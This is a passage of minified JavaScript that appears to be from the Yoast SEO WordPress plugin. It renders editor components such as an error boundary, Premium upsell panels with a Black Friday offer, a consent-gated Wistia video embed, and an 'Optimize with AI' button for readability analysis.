(0,s.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,t.createElement)(le.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:i},(0,s.__)("Close","wordpress-seo"))))};Ue.propTypes={learnMoreLink:i().string.isRequired,upsellLink:i().string.isRequired,thumbnail:i().shape({src:i().string.isRequired,width:i().string,height:i().string}).isRequired,wistiaEmbedPermission:i().shape({value:i().bool.isRequired,status:i().string.isRequired,set:i().func.isRequired}).isRequired,upsellLabel:i().string},Ue.defaultProps={upsellLabel:(0,s.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,s.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const Ke=({handleRefreshClick:e,supportLink:r})=>(0,t.createElement)("div",{className:"yst-flex yst-gap-2"},(0,t.createElement)(le.Button,{onClick:e},(0,s.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(le.Button,{variant:"secondary",as:"a",href:r,target:"_blank",rel:"noopener"},(0,s.__)("Contact support","wordpress-seo")));Ke.propTypes={handleRefreshClick:i().func.isRequired,supportLink:i().string.isRequired};const ze=({handleRefreshClick:e,supportLink:r})=>(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,t.createElement)(le.Button,{className:"yst-order-last",onClick:e},(0,s.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(le.Button,{variant:"secondary",as:"a",href:r,target:"_blank",rel:"noopener"},(0,s.__)("Contact support","wordpress-seo")));ze.propTypes={handleRefreshClick:i().func.isRequired,supportLink:i().string.isRequired};const He=({error:e,children:r})=>(0,t.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,t.createElement)(le.Title,null,(0,s.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,t.createElement)("p",null,(0,s.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,t.createElement)(le.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,s.__)("Undefined error message.","wordpress-seo")),(0,t.createElement)("p",null,(0,s.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),r);He.propTypes={error:i().object.isRequired,children:i().node},He.VerticalButtons=ze,He.HorizontalButtons=Ke;var je;function De(){return De=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},De.apply(this,arguments)}i().string,i().node.isRequired,i().node.isRequired,i().node,i().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const Ye=e=>t.createElement("svg",De({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),je||(je=t.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),We=window.ReactDOM;var Ge,Ve,Qe;(Ve=Ge||(Ge={})).Pop="POP",Ve.Push="PUSH",Ve.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(Qe||(Qe={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const Ze=["post","put","patch","delete"],Je=(new Set(Ze),["get",...Ze]);new Set(Je),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),t.Component,t.startTransition,new Promise((()=>{})),t.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var Xe,et,tt,st;new Map,t.startTransition,We.flushSync,t.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(st=Xe||(Xe={})).UseScrollRestoration="useScrollRestoration",st.UseSubmit="useSubmit",st.UseSubmitFetcher="useSubmitFetcher",st.UseFetcher="useFetcher",st.useViewTransitionState="useViewTransitionState",(tt=et||(et={})).UseFetcher="useFetcher",tt.UseFetchers="useFetchers",tt.UseScrollRestoration="useScrollRestoration",i().string.isRequired,i().string;const rt=({href:e,children:r,...o})=>(0,t.createElement)(le.Link,{target:"_blank",rel:"noopener noreferrer",...o,href:e},r,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,s.__)("(Opens in a new browser tab)","wordpress-seo")));rt.propTypes={href:i().string.isRequired,children:i().node},rt.defaultProps={children:null};const ot=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var nt,at,it;function lt(){return lt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},lt.apply(this,arguments)}const ct=e=>t.createElement("svg",lt({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),nt||(nt=t.createElement("defs",null,t.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),at||(at=t.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),it||(it=t.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),t.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function dt(){return dt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},dt.apply(this,arguments)}const pt=e=>t.createElement("svg",dt({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),t.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var ut,mt,ht,yt,gt,wt,bt,ft,Et;function kt(){return kt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},kt.apply(this,arguments)}const xt=e=>t.createElement("svg",kt({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),ut||(ut=t.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),mt||(mt=t.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),ht||(ht=t.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),yt||(yt=t.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),gt||(gt=t.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),wt||(wt=t.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),bt||(bt=t.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ft||(ft=t.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),Et||(Et=t.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),_t=({link:e,linkProps:r,isPromotionActive:o})=>{let n=(0,l.useMemo)((()=>(0,s.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),a=(0,l.createInterpolateElement)((0,s.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,s.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})});const i=o("black-friday-2024-promotion");return i&&(n=(0,l.useMemo)((()=>(0,s.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),a=(0,l.createInterpolateElement)((0,s.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,s.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,t.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,t.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,t.createElement)(xt,null)),i&&(0,t.createElement)("div",{className:"sidebar__sale_banner_container"},(0,t.createElement)("div",{className:"sidebar__sale_banner"},(0,t.createElement)("span",{className:"banner_text"},(0,s.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,t.createElement)(le.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},a),(0,t.createElement)("p",{className:"yst-mt-2"},n),(0,t.createElement)(le.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...r},(0,t.createElement)("span",null,i?(0,s.__)("Buy now","wordpress-seo"):a),(0,t.createElement)(ot,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,t.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!i&&(0,t.createElement)(t.Fragment,null,(0,s.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,t.createElement)("br",null)),(0,s.__)("30-day money back guarantee.","wordpress-seo")),(0,t.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,t.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,t.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,s.__)("Read reviews from real users","wordpress-seo")),(0,t.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,t.createElement)(Ye,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)("span",{className:"yst-flex yst-gap-1"},(0,t.createElement)(pt,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(pt,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(pt,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(pt,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(ct,{className:"yst-w-5 yst-h-5"})),(0,t.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};_t.propTypes={link:i().string.isRequired,linkProps:i().object,isPromotionActive:i().func},_t.defaultProps={linkProps:{},isPromotionActive:A.noop};const vt=({premiumLink:e,premiumUpsellConfig:r,isPromotionActive:o})=>{const n=o("black-friday-2024-promotion");return(0,t.createElement)(le.Paper,{as:"div",className:"xl:yst-max-w-3xl"},n&&(0,t.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,t.createElement)("div",null,(0,s.__)("30% OFF","wordpress-seo")),(0,t.createElement)("div",null,(0,s.__)("BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,t.createElement)(le.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,s.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,s.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,t.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},ye().map(((e,s)=>(0,t.createElement)("li",{key:`upsell-benefit-${s}`},(0,l.createInterpolateElement)(e,{strong:(0,t.createElement)("span",{className:"yst-font-semibold"})}))))),(0,t.createElement)(le.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...r},n?(0,s.__)("Claim your 30% off now!","wordpress-seo"):(0,s.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,s.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,t.createElement)(ot,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};vt.propTypes={premiumLink:i().string.isRequired,premiumUpsellConfig:i().object,isPromotionActive:i().func},vt.defaultProps={premiumUpsellConfig:{},isPromotionActive:A.noop},i().string.isRequired,i().object.isRequired,i().string.isRequired,i().func.isRequired,t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),i().bool.isRequired,i().func,i().func,i().string.isRequired,i().string.isRequired,i().string.isRequired,i().string.isRequired;const Rt=window.yoast.reactHelmet,Nt="loading",Bt="showPlay",St="askPermission",Lt="isPlaying",Ct=({videoId:e,thumbnail:r,wistiaEmbedPermission:o})=>{const[n,a]=(0,l.useState)(o.value?Lt:Bt),i=(0,l.useCallback)((()=>a(Lt)),[a]),c=(0,l.useCallback)((()=>{o.value?i():a(St)}),[o.value,i,a]),d=(0,l.useCallback)((()=>a(Bt)),[a]),p=(0,l.useCallback)((()=>{o.set(!0),i()}),[o.set,i]);return(0,t.createElement)(t.Fragment,null,o.value&&(0,t.createElement)(Rt.Helmet,null,(0,t.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,t.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},n===Bt&&(0,t.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:c},(0,t.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...r})),n===St&&(0,t.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,t.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},o.status===Nt&&(0,t.createElement)(le.Spinner,null),o.status!==Nt&&(0,s.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,s.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,t.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,t.createElement)(le.Button,{type:"button",variant:"secondary",onClick:d,disabled:o.status===Nt},(0,s.__)("Deny","wordpress-seo")),(0,t.createElement)(le.Button,{type:"button",variant:"primary",onClick:p,disabled:o.status===Nt},(0,s.__)("Allow","wordpress-seo")))),o.value&&n===Lt&&(0,t.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,t.createElement)(le.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,t.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};Ct.propTypes={videoId:i().string.isRequired,thumbnail:i().shape({src:i().string.isRequired,width:i().string,height:i().string}).isRequired,wistiaEmbedPermission:i().shape({value:i().bool.isRequired,status:i().string.isRequired,set:i().func.isRequired}).isRequired};const Pt="yoast-seo/editor",At=()=>{const e=(0,k.useSelect)((e=>e(Pt).selectLink("https://yoa.st/ai-fix-assessments-upsell-learn-more")),[]),r={upsellLink:(0,k.useSelect)((e=>e(Pt).selectLink("https://yoa.st/ai-fix-assessments-upsell")),[]),title:(0,s.__)("Fix assessments with AI!","wordpress-seo"),upsellLabel:(0,s.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,s.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")},o=(0,k.useSelect)((e=>e(Pt).selectImageLink("ai-fix-assessments-thumbnail.png")),[]),n=(0,l.useMemo)((()=>({src:o,width:"432",height:"244"})),[o]),a=(0,k.useSelect)((e=>e(Pt).selectWistiaEmbedPermissionValue()),[]),i=(0,k.useSelect)((e=>e(Pt).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:c}=(0,k.useDispatch)(Pt),d=(0,l.useMemo)((()=>({value:a,status:i,set:c})),[a,i,c]);return(0,t.createElement)(Ue,{learnMoreLink:e,thumbnail:n,wistiaEmbedPermission:d,...r})},It=e=>{let t=[...e];return e.forEach((e=>{e.innerBlocks&&e.innerBlocks.length>0&&(t=[...t,...It(e.innerBlocks)])})),t},Mt=({id:e,isPremium:r})=>{const n=e+"AIFixes",[a,,,i,c]=(0,le.useToggleState)(!1),d=(0,k.useSelect)((e=>e("yoast-seo/editor").getActiveAIFixesButton()),[]),p=(0,k.useSelect)((e=>e("yoast-seo/editor").getActiveMarker()),[]),{setActiveAIFixesButton:u,setActiveMarker:m,setMarkerPauseStatus:h,setMarkerStatus:y}=(0,k.useDispatch)("yoast-seo/editor"),g=(0,l.useRef)(null),[w,b]=(0,l.useState)(""),f=(0,s.__)("Optimize with AI","wordpress-seo"),E=(0,s.__)("Please switch to the visual editor to optimize with AI.","wordpress-seo"),x=d===n,_=(0,k.useSelect)((e=>e("core/edit-post").getEditorMode()),[]),{isEnabled:v,ariaLabel:R}=(0,k.useSelect)((e=>{if(null!==d&&!x)return{isEnabled:!1,ariaLabel:null};const t=e("yoast-seo/editor").getDisabledAIFixesButtons();if(Object.keys(t).includes(n))return{isEnabled:!1,ariaLabel:t[n]};if("visual"!==_)return{isEnabled:!1,ariaLabel:E};const s=It(e("core/block-editor").getBlocks()).every((t=>"visual"===e("core/block-editor").getBlockMode(t.clientId)));return{isEnabled:s,ariaLabel:s?f:E}}),[x,d,_]);(0,l.useEffect)((()=>(y("visual"!==_||d?"disabled":"enabled"),()=>{y("disabled")})),[_,d,y]);const N=()=>{p&&(m(null),h(!1),window.YoastSEO.analysis.applyMarks(new X.Paper("",{}),[])),n===d?(u(null),y("enabled")):(u(n),y("disabled")),b("")},B=(0,l.useCallback)((()=>{r?((0,de.doAction)("yoast.ai.fixAssessments",n),N()):i()}),[N,i]),S=(0,l.useCallback)((()=>{R&&b("yoast-tooltip yoast-tooltip-multiline "+(v?"yoast-tooltip-w":"yoast-tooltip-nw"))}),[v,R]),L=(0,l.useCallback)((()=>{b("")}),[]);return(0,t.createElement)(o.IconAIFixesButton,{onClick:B,ariaLabel:R,onPointerEnter:S,onPointerLeave:L,id:n,className:`ai-button ${w}`,pressed:x,disabled:!v},!r&&(0,t.createElement)(ce,{className:"yst-fixes-button__lock-icon yst-text-amber-900"}),(0,t.createElement)(o.SparklesIcon,{pressed:x}),a&&(0,t.createElement)(le.Modal,{className:"yst-introduction-modal",isOpen:a,onClose:c,initialFocus:g},(0,t.createElement)(le.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl yst-introduction-modal-panel"},(0,t.createElement)(At,{onClose:c,focusElementRef:g}))))};Mt.propTypes={id:i().string.isRequired,isPremium:i().bool},Mt.defaultProps={isPremium:!1};const Ot=Mt,Tt=d().span`
	font-size: 1em;
	font-weight: bold;
	margin: 0 0 8px;
	display: block;
`,Ft=d().div`
	padding: 16px;
`,$t=d()(P)`
	margin: -8px 0 -4px 4px;
`;class qt extends l.Component{constructor(...e){super(...e),J(this,"renderAIFixesButton",((e,s)=>{const{isElementor:r,isAiFeatureEnabled:o}=this.props,n=Oe().isPremium;if(n&&!o)return;const a=document.body.classList.contains("elementor-editor-active"),i=!r&&!a;return e&&Te()&&i&&(0,t.createElement)(Ot,{id:s,isPremium:n})}))}renderResults(e){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(Tt,null,(0,s.__)("Analysis results","wordpress-seo"),(0,t.createElement)($t,{href:wpseoAdminL10n["shortlinks.readability_analysis_info"],className:"dashicons"},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,s.__)("Learn more about the readability analysis","wordpress-seo")))),(0,t.createElement)(Ae,{results:this.props.results,upsellResults:e,marksButtonClassName:"yoast-tooltip yoast-tooltip-w",marksButtonStatus:this.props.marksButtonStatus,highlightingUpsellLink:"shortlinks.upsell.sidebar.highlighting_readability_analysis",shouldUpsellHighlighting:this.props.shouldUpsellHighlighting,renderAIFixesButton:this.renderAIFixesButton}))}getUpsellResults(e,t){let r=wpseoAdminL10n["shortlinks.upsell.metabox.word_complexity"];return"sidebar"===e&&(r=wpseoAdminL10n["shortlinks.upsell.sidebar.word_complexity"]),r=(0,_.addQueryArgs)(r,{context:t}),function(){const e=X.helpers.getLanguagesWithWordComplexity(),t=window.wpseoScriptData.metabox.contentLocale,s=X.languageProcessing.getLanguage(t);return e.includes(s)}()?[{score:0,rating:"upsell",hasMarks:!1,id:"wordComplexity",text:(0,s.sprintf)(
/* Translators: %1$s is a span tag that adds styling to 'Word complexity', %2$s is a closing span tag.
       %3$s is an anchor tag with a link to yoast.com, %4$s is a closing anchor tag.*/
(0,s.__)("%1$sWord complexity%2$s: Is your vocabulary suited for a larger audience? %3$sYoast SEO Premium will tell you!%4$s","wordpress-seo"),"<span style='text-decoration: underline'>","</span>",`<a href="${r}" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" target="_blank">`,"</a>"),markerId:"wordComplexity"}]:[]}render(){const e=Ie(this.props.overallScore);return(0,A.isNil)(this.props.overallScore)&&(e.className="loading"),(0,t.createElement)(x.LocationConsumer,null,(r=>(0,t.createElement)(x.RootContext.Consumer,null,(({locationContext:o})=>{let n=[];return this.props.shouldUpsell&&(n=this.getUpsellResults(r,o)),"sidebar"===r?(0,t.createElement)(w,{title:(0,s.__)("Readability analysis","wordpress-seo"),titleScreenReaderText:e.screenReaderReadabilityText,prefixIcon:se(e.className),prefixIconCollapsed:se(e.className),id:`yoast-readability-analysis-collapsible-${r}`},this.renderResults(n)):"metabox"===r?(0,t.createElement)(Me,{target:"wpseo-metabox-readability-root"},(0,t.createElement)(Ft,null,(0,t.createElement)(ae,{target:"wpseo-readability-score-icon",scoreIndicator:e.className}),this.renderResults(n))):void 0}))))}}qt.propTypes={results:i().array.isRequired,marksButtonStatus:i().string.isRequired,overallScore:i().number,shouldUpsell:i().bool,shouldUpsellHighlighting:i().bool,isAiFeatureEnabled:i().bool,isElementor:i().bool},qt.defaultProps={overallScore:null,shouldUpsell:!1,shouldUpsellHighlighting:!1,isAiFeatureEnabled:!1};const Ut=(0,k.withSelect)((e=>{const{getReadabilityResults:t,getMarkButtonStatus:s,getIsElementorEditor:r,getPreference:o}=e("yoast-seo/editor");return{...t(),marksButtonStatus:s(),isElementor:r(),isAiFeatureEnabled:o("isAiFeatureActive",!1)}}))(qt),Kt=d().p`
	color: ${C.colors.$color_upsell_text};
	margin: 0;
	padding-right: 8px;
`,zt=d().div`
	font-size: 1em;
	display: flex;
	flex-direction: ${e=>"horizontal"===e.alignment?"row":"column"};
	${(0,n.getDirectionalStyle)("border-left","border-right")}: 4px solid ${C.colors.$color_pink_dark};
	margin: 16px 0;
	padding: 0 0 0 8px;
	max-width: 600px;

	> ${Kt} {
		margin-bottom: ${e=>"vertical"===e.alignment&&"16px"};
	}
`,Ht=d()(o.SvgIcon)`
	margin: ${(0,n.getDirectionalStyle)("0 0 0 4px","0 4px 0 0")};
	transform: ${(0,n.getDirectionalStyle)("rotate(0deg)","rotate(180deg)")};
`,jt=(0,n.makeOutboundLink)(o.UpsellLinkButton),Dt=e=>{const{alignment:r,url:o}=e;return(0,t.createElement)(zt,{alignment:r},(0,t.createElement)(Kt,null,(0,s.sprintf)(/* translators: %s expands to Yoast SEO Premium */
(0,s.__)("%s looks at more than just your main keyword. It analyzes different word forms, plurals, and past tenses. This helps your website perform even better in searches!","wordpress-seo"),"Yoast SEO Premium")),(0,t.createElement)("div",null,(0,t.createElement)(jt,{href:o,className:"UpsellLinkButton","data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},(0,s.sprintf)(/* translators: %s expands to Premium */
(0,s.__)("Go %s!","wordpress-seo"),"Premium"),(0,t.createElement)(Ht,{icon:"arrow-right",size:"8px",color:C.colors.$color_black}))))};Dt.propTypes={alignment:i().oneOf(["horizontal","vertical"]),url:i().string.isRequired},Dt.defaultProps={alignment:"vertical"};const Yt=Dt,Wt=e=>(0,t.createElement)(Ne,{title:(0,s.__)("Write more natural and engaging content","wordpress-seo"),description:(0,s.sprintf)(/* translators: %s expands to "Yoast SEO Premium" */
(0,s.__)("Synonyms help users understand your copy better. It’s easier to read for both users and Google. In %s, you can add synonyms for your focus keyphrase, and we’ll help you optimize for them.","wordpress-seo"),"Yoast SEO Premium"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,s.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ye(),upsellButtonText:(0,s.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,s.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:e.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,s.__)("1 year free support and updates included!","wordpress-seo")});Wt.propTypes={buyLink:i().string.isRequired};const Gt=Wt,Vt=e=>(0,t.createElement)(Ne,{title:(0,s.__)("Reach a wider audience","wordpress-seo"),description:(0,s.__)("Get help optimizing for up to 5 related keyphrases. This helps you reach a wider audience and get more traffic.","wordpress-seo"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,s.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ye(),upsellButtonText:(0,s.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
